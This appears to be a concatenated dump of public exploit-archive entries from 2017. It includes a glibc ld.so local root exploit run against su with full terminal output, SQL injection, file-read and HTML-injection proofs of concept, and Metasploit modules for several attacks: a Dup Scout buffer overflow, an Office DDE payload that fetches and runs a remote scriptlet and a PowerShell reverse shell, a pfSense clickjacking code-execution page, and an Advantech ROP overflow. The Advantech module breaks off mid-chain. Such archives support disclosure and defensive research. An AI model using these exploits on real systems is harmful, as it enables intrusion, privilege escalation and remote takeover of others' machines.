ERROR: ld.so: object 'nonexistent' from LD_PRELOAD cannot be preloaded (cannot open shared object file): ignored.
Segmentation fault

real    0m5.778s
user    0m1.200s
sys     0m4.576s

$ time env -i LD_LIBRARY_PATH='$ORIGIN/../../../../../../../../$LIB' LD_PRELOAD='nonexistent:rootshell.so' LD_HWCAP_MASK="$(((1<<24)-1))" ./su
ERROR: ld.so: object 'nonexistent' from LD_PRELOAD cannot be preloaded (cannot open shared object file): ignored.
Segmentation fault

real    0m11.589s
user    0m2.520s
sys     0m9.060s

$ time env -i LD_LIBRARY_PATH='$ORIGIN/../../../../../../../../$LIB' LD_PRELOAD='nonexistent:rootshell.so' LD_HWCAP_MASK="$(((1<<25)-1))" ./su
ERROR: ld.so: object 'nonexistent' from LD_PRELOAD cannot be preloaded (cannot open shared object file): ignored.
# id; exit
uid=0(root) gid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),1000(user)

real    0m28.050s
user    0m6.140s
sys     0m21.892s

6/ Improvements in the running time of this exploit are left as an
exercise for the interested reader:

$ env -i LD_LIBRARY_PATH=. LD_PRELOAD=nonexistent LD_HWCAP_MASK="$(((1<<25)-1))" LD_DEBUG=libs env 2>&1 | head -c 1000
      3084:     find library=nonexistent [0]; searching
      3084:      search path=./tls/i686/fxsr/mmx/clflush/pse36/pat/cmov/mca/pge/mtrr/sep/apic/cx8/mce/pae/msr/tsc/pse/de/vme/fpu:./tls/i686/fxsr/mmx/clflush/pse36/pat/cmov/mca/pge/mtrr/sep/apic/cx8/mce/pae/msr/tsc/pse/de/vme:./tls/i686/fxsr/mmx/clflush/pse36/pat/cmov/mca/pge/mtrr/sep/apic/cx8/mce/pae/msr/tsc/pse/de/fpu:./tls/i686/fxsr/mmx/clflush/pse36/pat/cmov/mca/pge/mtrr/sep/apic/cx8/mce/pae/msr/tsc/pse/de:./tls/i686/fxsr/mmx/clflush/pse36/pat/cmov/mca/pge/mtrr/sep/apic/cx8/mce/pae/msr/tsc/pse/vme/fpu:./tls/i686/fxsr/mmx/clflush/pse36/pat/cmov/mca/pge/mtrr/sep/apic/cx8/mce/pae/msr/tsc/pse/vme:./tls/i686/fxsr/mmx/clflush/pse36/pat/cmov/mca/pge/mtrr/sep/apic/cx8/mce/pae/msr/tsc/pse/fpu:./tls/i686/fxsr/mmx/clflush/pse36/pat/cmov/mca/pge/mtrr/sep/apic/cx8/mce/pae/msr/tsc/pse:./tls/i686/fxsr/mmx/clflush/pse36/pat/cmov/mca/pge/mtrr/sep/apic/cx8/mce/pae/msr/tsc/de/vme/fpu:./tls/i686/fxsr/mmx/clflush/pse36/pat/cmov/mca/pge/mtrr/sep/apic/cx8/mc

$ mkdir -p './tls/i686/fxsr/mmx/clflush/pse36/pat/cmov/mca/pge/mtrr/sep/apic/cx8/mce/pae/msr/tsc/pse/de/vme/fpu'

$ mv -- *.so* './tls/i686/fxsr/mmx/clflush/pse36/pat/cmov/mca/pge/mtrr/sep/apic/cx8/mce/pae/msr/tsc/pse/de/vme/fpu'

$ time env -i LD_LIBRARY_PATH='$ORIGIN/../../../../../../../../$LIB' LD_PRELOAD='nonexistent:rootshell.so' LD_HWCAP_MASK="$(((1<<25)-1))" ./su
ERROR: ld.so: object 'nonexistent' from LD_PRELOAD cannot be preloaded (cannot open shared object file): ignored.
# id; exit
uid=0(root) gid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),1000(user)

real    0m23.485s
user    0m5.244s
sys     0m18.220s

$ time env -i LD_LIBRARY_PATH='$ORIGIN/../../../../../../../../$LIB' LD_PRELOAD='os-release:rootshell.so' LD_HWCAP_MASK="$(((1<<25)-1))" ./su
ERROR: ld.so: object 'os-release' from LD_PRELOAD cannot be preloaded (invalid ELF header): ignored.
# id; exit
uid=0(root) gid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),1000(user)

real    0m11.352s
user    0m2.844s
sys     0m8.388s

------------------------------------------------------------------------
CentOS 7 (i386)
------------------------------------------------------------------------

In this example, we exploit "su" on a 32-bit CentOS 7.3.1611: we
installed "CentOS-7-i386-Minimal-1611.iso" (the last release before
CVE-2017-1000366 was patched), and manually disabled protected_hardlinks
("echo 0 > /proc/sys/fs/protected_hardlinks").

$ env -i LD_PRELOAD=nonexistent LD_HWCAP_MASK=0 LD_DEBUG=libs env 2>&1 | head
     17896:     find library=nonexistent [0]; searching
     17896:      search cache=/etc/ld.so.cache
     17896:      search path=/lib/tls/i686:/lib/tls:/lib/i686:/lib:/usr/lib/tls/i686:/usr/lib/tls:/usr/lib/i686:/usr/lib                (system search path)
     17896:       trying file=/lib/tls/i686/nonexistent
     17896:       trying file=/lib/tls/nonexistent
     17896:       trying file=/lib/i686/nonexistent
     17896:       trying file=/lib/nonexistent
     17896:       trying file=/usr/lib/tls/i686/nonexistent
     17896:       trying file=/usr/lib/tls/nonexistent
     17896:       trying file=/usr/lib/i686/nonexistent

$ mkdir -p '/var/tmp/:/lib:/usr/lib:'

$ cd '/var/tmp/:/lib:/usr/lib:'

$ ln `which su` .

$ env -i LD_LIBRARY_PATH='$ORIGIN/../../../../../../../../$LIB' LD_PRELOAD='nonexistent:rootshell.so' ./su
ERROR: ld.so: object 'nonexistent' from LD_PRELOAD cannot be preloaded: ignored.
Segmentation fault

$ dmesg | tail -n 1
[ 8414.911000] su[18088]: segfault at 6e6e6173 ip b77645e2 sp bfe0cb40 error 4 in ld-2.17.so[b775f000+1f000]

$ cp -- `ldd ./su | grep ' => /' | awk '{print $3}'` .

$ cat > la.c << "EOF"
> static void __attribute__ ((constructor)) _init (void) {
>     ...
>     // setuid(0);
>     ...
>     // execve("/bin/sh");
>     ...
> }
> EOF
$ gcc -fpic -shared -nostdlib -Os -s -o rootshell.so la.c

$ chmod u+s rootshell.so

$ time env -i LD_LIBRARY_PATH='$ORIGIN/../../../../../../../../$LIB' LD_PRELOAD='nonexistent:rootshell.so' LD_HWCAP_MASK="$(((1<<16)-1))" ./su
ERROR: ld.so: object 'nonexistent' from LD_PRELOAD cannot be preloaded: ignored.
Segmentation fault

real    0m0.527s
user    0m0.085s
sys     0m0.441s

$ time env -i LD_LIBRARY_PATH='$ORIGIN/../../../../../../../../$LIB' LD_PRELOAD='nonexistent:rootshell.so' LD_HWCAP_MASK="$(((1<<17)-1))" ./su
ERROR: ld.so: object 'nonexistent' from LD_PRELOAD cannot be preloaded: ignored.
Segmentation fault

real    0m1.060s
user    0m0.182s
sys     0m0.877s

$ time env -i LD_LIBRARY_PATH='$ORIGIN/../../../../../../../../$LIB' LD_PRELOAD='nonexistent:rootshell.so' LD_HWCAP_MASK="$(((1<<18)-1))" ./su
ERROR: ld.so: object 'nonexistent' from LD_PRELOAD cannot be preloaded: ignored.
Segmentation fault

real    0m2.093s
user    0m0.384s
sys     0m1.702s

...

$ time env -i LD_LIBRARY_PATH='$ORIGIN/../../../../../../../../$LIB' LD_PRELOAD='nonexistent:rootshell.so' LD_HWCAP_MASK="$(((1<<25)-1))" ./su
ERROR: ld.so: object 'nonexistent' from LD_PRELOAD cannot be preloaded: ignored.
Segmentation fault

real    0m17.071s
user    0m2.525s
sys     0m14.537s

$ time env -i LD_LIBRARY_PATH='$ORIGIN/../../../../../../../../$LIB' LD_PRELOAD='nonexistent:rootshell.so' LD_HWCAP_MASK="$(((1<<26)-1))" ./su
ERROR: ld.so: object 'nonexistent' from LD_PRELOAD cannot be preloaded: ignored.
Segmentation fault

real    0m33.926s
user    0m5.464s
sys     0m28.429s

$ time env -i LD_LIBRARY_PATH='$ORIGIN/../../../../../../../../$LIB' LD_PRELOAD='nonexistent:rootshell.so' LD_HWCAP_MASK="$(((1<<27)-1))" ./su
ERROR: ld.so: object 'nonexistent' from LD_PRELOAD cannot be preloaded: ignored.
sh-4.2# id; exit
uid=0(root) gid=0(root) groups=0(root),1000(user) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

real    1m30.604s
user    0m16.169s
sys     1m14.395s


========================================================================
Acknowledgments
========================================================================

We thank the members of the linux-distros@openwall list.
            
# # # # # 
# Exploit Title: Readymade Video Sharing Script 3.2 - HTML Injection
# Dork: N/A
# Date: 13.12.2017
# Vendor Homepage: https://www.phpscriptsmall.com/
# Software Link: https://www.phpscriptsmall.com/product/php-video-sharing-script/
# Demo: http://www.smsemailmarketing.in/demo/videosharing/
# Version: 3.2
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-17649
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability implication allows an attacker to inject html code ....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/single-video-detail.php?video_id=MTMy&comment=[CODE]&comment_submit=
# 
# 
# # # # #
            
Title: Meinberg LANTIME Web Configuration Utility - Arbitrary File Read
Author: Jakub Palaczynski
CVE: CVE-2017-16787


Exploit tested on:
==================

Meinberg LANTIME Web Configuration Utility 6.16.008


Vulnerability affects:
======================
All LTOS6 firmware releases before 6.24.004


Vulnerability:
**************

Arbitrary File Read:
====================

It is possible to read arbitrary file on the system with root permissions

Proof of Concept:
First instance:
https://host/cgi-bin/mainv2?value=800&showntpclientipinfo=xxx&ntpclientcounterlogfile=/etc/passwd&lcs=xxx
Info-User user is able to read any file on the system with root permissions.

Second instance:
User with Admin-User access is able to read any file on the system via
firmware update functionality. Curl accepts "file" schema which actually
downloads file from the filesystem. Then it is possible to download
/upload/update file which contains content of requested file.

Contact:
========

Jakub[dot]Palaczynski[at]gmail[dot]com
            
# # # # # 
# Exploit Title: Paid To Read Script 2.0.5 - SQL Injection
# Dork: N/A
# Date: 13.12.2017
# Vendor Homepage: https://www.phpscriptsmall.com/
# Software Link: https://www.phpscriptsmall.com/product/paid-to-read-script/
# Version: 2.0.5
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-17651
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/admin/userview.php?uid=[SQL]
# 
# -9++/*!08888UNION*/(/*!08888SELECT*/(1)%2c(2)%2c(3)%2c(4)%2c(5)%2c(6)%2c(7)%2c(8)%2c(9)%2c(10)%2c(11)%2c(12)%2c(13)%2c(14)%2c(15)%2c(16)%2c(17)%2c(18)%2c(19)%2c(20)%2c(21)%2c(22)%2c(23)%2c(24)%2c(25)%2c(26)%2c(27)%2c(28)%2c(29)%2c(30)%2c(31)%2c(32)%2c(33)%2c(34)%2c(35)%2c(36)%2c(37)%2c(38)%2c(39)%2c(40)%2c(41)%2c(42)%2c(43)%2c(44)%2c(45)%2c(46)%2c(47)%2c(48)%2c(/*!08888Select*/+export_set(5%2c@:=0%2c(/*!08888select*/+count(*)/*!08888from*/(information_schema.columns)where@:=export_set(5%2cexport_set(5%2c@%2c/*!08888table_name*/%2c0x3c6c693e%2c2)%2c/*!08888column_name*/%2c0xa3a%2c2))%2c@%2c2))%2c(50)%2c(51)%2c(52)%2c(53)%2c(54)%2c(55)%2c(56)%2c(57)%2c(58)%2c(59)%2c(60)%2c(61)%2c(62)%2c(63)%2c(64)%2c(65)%2c(66)%2c(67)%2c(68))--+-
# 
# 	
# 2)
# http://localhost/[PATH]/admin/viewemcamp.php?fnum=[SQL]
# 
# -1++/*!08888UNION*/(/*!08888SELECT*/+0x253238253331253239%2cCONCAT_WS(0x203a20%2cUSER()%2cDATABASE()%2cVERSION())%2c0x253238253333253239%2c0x253238253334253239%2c0x253238253335253239%2c0x253238253336253239%2c0x253238253337253239%2c0x253238253338253239%2c0x253238253339253239%2c0x253238253331253330253239)--+-
# 
# 
# 3)
# http://localhost/[PATH]/admin/viewvisitcamp.php?fn=[SQL]
# 
# -6++/*!50000UNION*/(/*!50000SELECT*/0x253238253331253239%2c0x253238253332253239%2c0x253238253333253239%2c0x253238253334253239%2cCONCAT_WS(0x203a20%2cUSER()%2cDATABASE()%2cVERSION())%2c0x253238253336253239%2c0x253238253337253239%2c0x253238253338253239%2c0x253238253339253239%2c0x253238253331253330253239%2c0x253238253331253331253239%2c0x253238253331253332253239%2c0x253238253331253333253239%2c0x253238253331253334253239)--+-
# 
# 	
# # # # #
            
<!--
# # # # # 
# Exploit Title: Bus Booking Script 1.0 - SQL Injection
# Dork: N/A
# Date: 13.12.2017
# Vendor Homepage: http://www.phpautoclassifiedscript.com/
# Software Link: http://www.phpautoclassifiedscript.com/bus-booking-script.html
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-17645
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
-->
<html>
<body>
<form action="http://localhost/newbusbooking/admin/index.php" method="post" enctype="application/x-www-form-urlencoded" name="frmlogin" target="_self">
<input name="txtname" type="text" value="' UNION ALL SELECT 0x31,0x564552204159415249,0x33,0x34,0x35-- Ver Ayari"></div>
<input name="logbut" id="logbut" type="submit"></div>
</form>
</body>
</html>
            
<!--
# # # # # 
# Exploit Title: FS Lynda Clone 1.0 - SQL Injection
# Dork: N/A
# Date: 13.12.2017
# Vendor Homepage: https://fortunescripts.com/
# Software Link: https://fortunescripts.com/product/lynda-clone/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-17643
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
-->
<html>
<body>
<form action="http://localhost/tutorial/" method="post">
<input value="1' and(select 1 FROM(select count(*),concat((select (select concat(database(),0x27,0x7e,0x494853414e2053454e43414e)) FROM information_schema.tables LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -" name="keywords" id="keywords" type="search">
<input value="GO" type="submit">
</form>
</body>
</html>
            
# # # # # 
# Exploit Title: Piwigo <= 2.9.1 - 'cat_true'/'cat_false' SQL Injection
# Dork: N/A
# Date: 12.12.2017
# Vendor Homepage: http://piwigo.org/
# Software Link: http://piwigo.org/basics/downloads
# Version: <= 2.9.1
# Category: Webapps
# Tested on: WiN7_x64/WIN10_X64
# CVE: CVE-2017-10682
# # # # #
# Exploit Author: Akityo
# Email: akityo@foxmail.com
# # # # #
# Description:
#
# SQL injection vulnerability in the administrative backend in Piwigo through 2.9.1 allows remote users to execute arbitrary SQL commands via the cat_false or cat_true parameter
# in the comments or status page to cat_options.php.
#
#
# # # # #
# Proof-of-Concent:
#
# POST /[path]/admin.php?page=cat_options&section=status HTTP/1.1
# Host: www.test.com
# Content-Length: 34
# Cache-Control: max-age=0
# Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
# Upgrade-Insecure-Requests: 1
# User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36
# Content-Type: application/x-www-form-urlencoded
# Accept-Encoding: gzip, deflate
# Accept-Language: zh-CN,zh;q=0.8
# Cookie: null
# Connection: close
#
# cat_false%5B%5D=[payload here]&trueify=%C2%AB
#
#  
# # # # #
            
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Dup Scout Enterprise Login Buffer Overflow',
      'Description'    => %q{
        This module exploits a stack buffer overflow in Dup Scout Enterprise
        10.0.18. The buffer overflow exists via the web interface during
        login. This gives NT AUTHORITY\SYSTEM access.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Chris Higgins', # msf Module -- @ch1gg1ns
          'sickness' # Original discovery
        ],
      'References'     =>
        [
          [ 'EDB', '43145' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread'
        },
      'Platform'       => 'win',
      'Payload'        =>
        {
          'BadChars' => "\x00\x0a\x0d\x25\x26\x2b\x3d"
        },
      'Targets'        =>
        [
          [ 'Dup Scout Enterprise 10.0.18',
            {
              'Ret' => 0x10090c83, # jmp esp - libspp.dll
              'Offset' => 780
            }
          ],
        ],
      'Privileged'     => true,
      'DisclosureDate' => 'Nov 14 2017',
      'DefaultTarget'  => 0))

    register_options([Opt::RPORT(80)])

  end

  def check
    res = send_request_cgi({
      'uri'    => '/',
      'method' => 'GET'
    })

    if res and res.code == 200 and res.body =~ /Dup Scout Enterprise v10\.0\.18/
      return Exploit::CheckCode::Appears
    end

    return Exploit::CheckCode::Safe
  end

  def exploit
    connect

    print_status("Generating exploit...")

    evil =  rand_text(target['Offset'])
    evil << [target.ret].pack('V')
    evil << make_nops(12)
    evil << payload.encoded
    evil << make_nops(10000 - evil.length)

    vprint_status("Evil length: " + evil.length.to_s)

    sploit =  "username="
    sploit << evil
    sploit << "&password="
    sploit << rand_text(evil.length)
    sploit << "\r\n"

    print_status("Triggering the exploit now...")

    res = send_request_cgi({
      'uri' => '/login',
      'method' => 'POST',
      'content-type' => 'application/x-www-form-urlencoded',
      'content-length' => '17000',
      'data' => sploit
    })

    handler
    disconnect

  end
end
            
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


class MetasploitModule  < Msf::Exploit::Remote
  Rank = ManualRanking

  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Powershell
  include Msf::Exploit::EXE

  def initialize(info  = {})
    super(update_info(info,
      'Name' => 'Microsoft Office DDE Payload Delivery',
      'Description' => %q{
        This module generates an DDE command to place within
        a word document, that when executed, will retrieve a HTA payload
        via HTTP from an web server.
      },
      'Author' => 'mumbai',
      'License' => MSF_LICENSE,
      'DisclosureDate' => 'Oct 9 2017',
      'References' => [
        ['URL', 'https://gist.github.com/xillwillx/171c24c8e23512a891910824f506f563'],
        ['URL', 'https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/']
      ],
      'Arch' => [ARCH_X86, ARCH_X64],
      'Platform' => 'win',
      'Stance' => Msf::Exploit::Stance::Aggressive,
      'Targets' =>
        [
          ['Microsoft Office', {} ],
        ],
      'DefaultTarget' => 0,
      'Payload' => {
        'DisableNops' => true
      },
      'DefaultOptions' => {
        'DisablePayloadHandler' => false,
        'PAYLOAD' => 'windows/meterpreter/reverse_tcp',
        'EXITFUNC' => 'thread'
      }
    ))
    register_options([
      OptString.new("FILENAME", [true, "Filename to save as", "msf.rtf"]),
      OptPath.new("INJECT_PATH", [false, "Path to file to inject", nil])
    ])
  end

  def gen_psh(url, *method)
    ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl

    if method.include? 'string'
      download_string = datastore['PSH-Proxy'] ? (Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url)) : (Rex::Powershell::PshMethods.download_and_exec_string(url))
    else
      # Random filename to use, if there isn't anything set
      random = "#{rand_text_alphanumeric 8}.exe"
      # Set filename (Use random filename if empty)
      filename = datastore['BinaryEXE-FILENAME'].blank? ? random : datastore['BinaryEXE-FILENAME']

      # Set path (Use %TEMP% if empty)
      path = datastore['BinaryEXE-PATH'].blank? ? "$env:temp" : %Q('#{datastore['BinaryEXE-PATH']}')

      # Join Path and Filename
      file = %Q(echo (#{path}+'\\#{filename}'))

      # Generate download PowerShell command
      download_string = Rex::Powershell::PshMethods.download_run(url, file)
    end

    download_and_run = "#{ignore_cert}#{download_string}"

    # Generate main PowerShell command
    return generate_psh_command_line(noprofile: true, windowstyle: 'hidden', command: download_and_run)
  end

  def on_request_uri(cli, _request)
    if _request.raw_uri =~ /\.sct$/
      print_status("Handling request for .sct from #{cli.peerhost}")
      payload = gen_psh("#{get_uri}", "string")
      data = gen_sct_file(payload)
      send_response(cli, data, 'Content-Type' => 'text/plain')
    else
      print_status("Delivering payload to #{cli.peerhost}...")
      p = regenerate_payload(cli)
      data = cmd_psh_payload(p.encoded,
                       payload_instance.arch.first,
                       remove_comspec: true,
                       exec_in_place: true
      )
      send_response(cli, data, 'Content-Type' => 'application/octet-stream')
    end
  end


  def rand_class_id
    "#{Rex::Text.rand_text_hex 8}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 12}"
  end


  def gen_sct_file(command)
    # If the provided command is empty, a correctly formatted response is still needed (otherwise the system raises an error).
    if command == ''
      return %{<?XML version="1.0"?><scriptlet><registration progid="#{Rex::Text.rand_text_alphanumeric 8}" classid="{#{rand_class_id}}"></registration></scriptlet>}
    # If a command is provided, tell the target system to execute it.
    else
      return %{<?XML version="1.0"?><scriptlet><registration progid="#{Rex::Text.rand_text_alphanumeric 8}" classid="{#{rand_class_id}}"><script><![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("#{command}",0);]]></script></registration></scriptlet>}
    end
  end

  def retrieve_header(filename)
    if (not datastore['INJECT_PATH'].nil?)
      path = "#{datastore['INJECT_PATH']}"
    else
      path = nil
    end
    if (not path.nil?)
      if ::File.file?(path)
        ::File.open(path, 'rb') do |fd|
          header = fd.read(fd.stat.size).split('{\*\datastore').first
          header = header.to_s
          print_status("Injecting #{path}...")
          return header
        end
      else
        header = '{\rtf1\ansi\ansicpg1252\deff0\nouicompat\deflang1033{\fonttbl{\f0\fnil\fcharset0 Calibri;}}' + "\n"
        header << '{\*\generator Riched20 6.3.9600}\viewkind4\uc1' + "\n"
        header << '\pard\sa200\sl276\slmult1\f0\fs22\lang9' + "\n"
      end
    else
      header = '{\rtf1\ansi\ansicpg1252\deff0\nouicompat\deflang1033{\fonttbl{\f0\fnil\fcharset0 Calibri;}}' + "\n"
      header << '{\*\generator Riched20 6.3.9600}\viewkind4\uc1' + "\n"
      header << '\pard\sa200\sl276\slmult1\f0\fs22\lang9' + "\n"
    end
    return header
  end

  def create_rtf
    #
    header = retrieve_header(datastore['FILENAME'])
    field_class = '{\field{\*\fldinst {\rtlch\fcs1 \af31507 \ltrch\fcs0 \insrsid3807165  '
    field_class << "DDEAUTO C:\\\\\\\\Programs\\\\\\\\Microsoft\\\\\\\\Office\\\\\\\\MSword.exe\\\\\\\\..\\\\\\\\..\\\\\\\\..\\\\\\\\..\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe \"/c regsvr32 /s /n /u /i:#{get_uri}.sct scrobj.dll\" }}"
    field_class << '{\fldrslt }}\sectd \ltrsect\linex0\endnhere\sectlinegrid360\sectdefaultcl\sftnbj {\rtlch\fcs1 \af31507 \ltrch\fcs0' + "\n"
    field_class << '\insrsid5790315' + "\n"
    field_class << '\par }'
    footer =  '}}' # footer
    rtf = header + field_class + footer
    rtf
  end

  def primer
    file_create(create_rtf)
  end
end
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name'            => 'Clickjacking Vulnerability In CSRF Error Page pfSense',
        'Description'     => %q{
          This module exploits a Clickjacking vulnerability in pfSense <= 2.4.1.

          pfSense is a free and open source firewall and router. It was found that the
          pfSense WebGUI is vulnerable to Clickjacking. By tricking an authenticated admin
          into interacting with a specially crafted webpage it is possible for an attacker
          to execute arbitrary code in the WebGUI. Since the WebGUI runs as the root user,
          this will result in a full compromise of the pfSense instance.
        },
        'Author'          => 'Yorick Koster',
        'Payload'         => { 'BadChars' => '"' },
        'License'         => MSF_LICENSE,
        'References'      =>
          [
            ['URL', 'https://securify.nl/en/advisory/SFY20171101/clickjacking-vulnerability-in-csrf-error-page-pfsense.html'],
            ['URL', 'https://doc.pfsense.org/index.php/2.4.2_New_Features_and_Changes']
          ],
        'DefaultOptions'  =>
          {
            'EXITFUNC'    => 'process'
          },
        'Arch'            => ARCH_PHP,
        'Platform'        => 'php',
        'Targets'         =>
          [
            [ 'pfSense <= 2.4.1', { 'auto' => false } ]
          ],
        'DefaultTarget'   => 0,
        'DisclosureDate'  => 'Nov 21 2017'
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path to the web application', 'https://192.168.1.1'])
      ]
    )
  end

  def js_file
    @js ||= lambda {
      path = File.join(Msf::Config.data_directory, 'exploits', 'pfsense_clickjacking', 'cookieconsent.min.js')
      return File.read(path)
    }.call
  end

  def css_file
    @css ||= lambda {
      path = File.join(Msf::Config.data_directory, 'exploits', 'pfsense_clickjacking', 'cookieconsent.min.css')
      return File.read(path)
    }.call
  end

  def background_file
    @background ||= lambda {
      path = File.join(Msf::Config.data_directory, 'exploits', 'pfsense_clickjacking', 'background.jpg')
      return File.read(path)
    }.call
  end

  def on_request_uri(cli, request)
    print_status("GET #{request.uri} #{request.headers['User-Agent']}")

    resp = create_response(200, "OK")
    if request.uri =~ /\.js$/
      resp.body = js_file
      resp['Content-Type'] = 'text/javascript'

    elsif request.uri =~ /\.css$/
      resp.body = css_file
      resp['Content-Type'] = 'text/css'

    elsif request.uri =~ /\.jpg$/
      resp.body = background_file
      resp['Content-Type'] = 'image/jpg'

    else
      if datastore['TARGETURI'].end_with? '/'
        url = datastore['TARGETURI'] + 'diag_command.php'
      else
        url = datastore['TARGETURI'] + '/diag_command.php'
      end
      framename = rand_text_alpha(16)
      divname = rand_text_alpha(16)
      resp.body = %Q|<!DOCTYPE html>
<html>
<meta charset="utf-8">
<link rel="stylesheet" type="text/css" href="#{get_resource.chomp('/')}/cookieconsent.min.css" />
<script src="#{get_resource.chomp('/')}/cookieconsent.min.js"></script>
<script>
window.addEventListener("load", function(){
window.cookieconsent.initialise({
        "palette": {
                "popup": {
                        "background": "#000",
                        "text": "#0f0"
                },
                "button": {
                        "background": "#0f0"
                }
        },
        "position": "top",
        "static": true
        });
});
</script>
<script>
document.cookie = 'cookieconsent_status=; expires=Thu, 01 Jan 1970 00:00:01 GMT;';
window.addEventListener('load', function(){
        document.forms[0].post.click();
        document.onmousemove = function(e) {
                var e = e \|\| window.event;
                var s = document.getElementById('#{divname}');
                s.style.left  = (e.clientX - 10) + 'px';
                s.style.top = (e.clientY - 5) + 'px';
        };
});
</script>
<body style="background-image:url(#{get_resource.chomp('/')}/background.jpg);background-size:cover;">
<div id="#{divname}" style="position:absolute;z-index:10;border:none;width:20px;height:10px;overflow:hidden;opacity:0.0;">
<iframe src="about:blank" name="#{framename}" sandbox="allow-forms" border="no" scrolling="no" width="800" height="800" style="width:400px;height:800px;margin-top:-70px;margin-left:-40px;"></iframe>
</div>
<div style="display:none">
<form action="#{url}" method="POST" enctype="multipart/form-data" target="#{framename}">
        <input type="hidden" name="txtPHPCommand" value="#{payload.encoded}" />
        <input type="hidden" name="submit" value="EXECPHP" />
        <input type="submit" name="post"/>
</form>
</div>
</body>
</html>
|
      resp['Content-Type'] = 'text/html'
    end

    cli.send_response(resp)
  end
end
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = GoodRanking

  include Msf::Exploit::Remote::DCERPC
  include Msf::Exploit::Egghunter

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Advantech WebAccess Webvrpcs Service Opcode 80061 Stack Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in Advantech WebAccess 8.2.
          By sending a specially crafted DCERPC request, an attacker could overflow
          the buffer and execute arbitrary code.
      },
      'Author'         => [ 'mr_me <mr_me[at]offensive-security[dot]com>' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'ZDI', '17-938' ],
          [ 'CVE', '2017-14016' ],
          [ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-17-306-02' ]
        ],
      'Privileged'     => true,
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Payload'        =>
        {
          'Space'    => 2048,
          'BadChars' => "\x00",
        },
      'Platform' => 'win',
      'Targets'  =>
        [
          [ 'Windows 7 x86 - Advantech WebAccess 8.2-2017.03.31',
            {
              'Ret'   => 0x07036cdc,  # pop ebx; add esp, 994; retn 0x14
              'Slide' => 0x07048f5b,  # retn
              'Jmp'   => 0x0706067e   # pop ecx; pop ecx; ret 0x04
            }
          ],
        ],
      'DisclosureDate' => 'Nov 02 2017',
      'DefaultTarget'  => 0))
    register_options([ Opt::RPORT(4592)])
  end

  def create_rop_chain()

    # this target opts into dep
    rop_gadgets =
    [
      0x020214c6,  # POP EAX # RETN [BwKrlAPI.dll]
      0x0203a134,  # ptr to &VirtualAlloc() [IAT BwKrlAPI.dll]
      0x02032fb4,  # MOV EAX,DWORD PTR DS:[EAX] # RETN [BwKrlAPI.dll]
      0x070738ee,  # XCHG EAX,ESI # RETN [BwPAlarm.dll]
      0x0201a646,  # POP EBP # RETN [BwKrlAPI.dll]
      0x07024822,  # & push esp # ret  [BwPAlarm.dll]
      0x070442dd,  # POP EAX # RETN [BwPAlarm.dll]
      0xffffffff,  # Value to negate, will become 0x00000001
      0x070467d2,  # NEG EAX # RETN [BwPAlarm.dll]
      0x0704de61,  # PUSH EAX # ADD ESP,0C # POP EBX # RETN [BwPAlarm.dll]
      rand_text_alpha(4).unpack('V'),
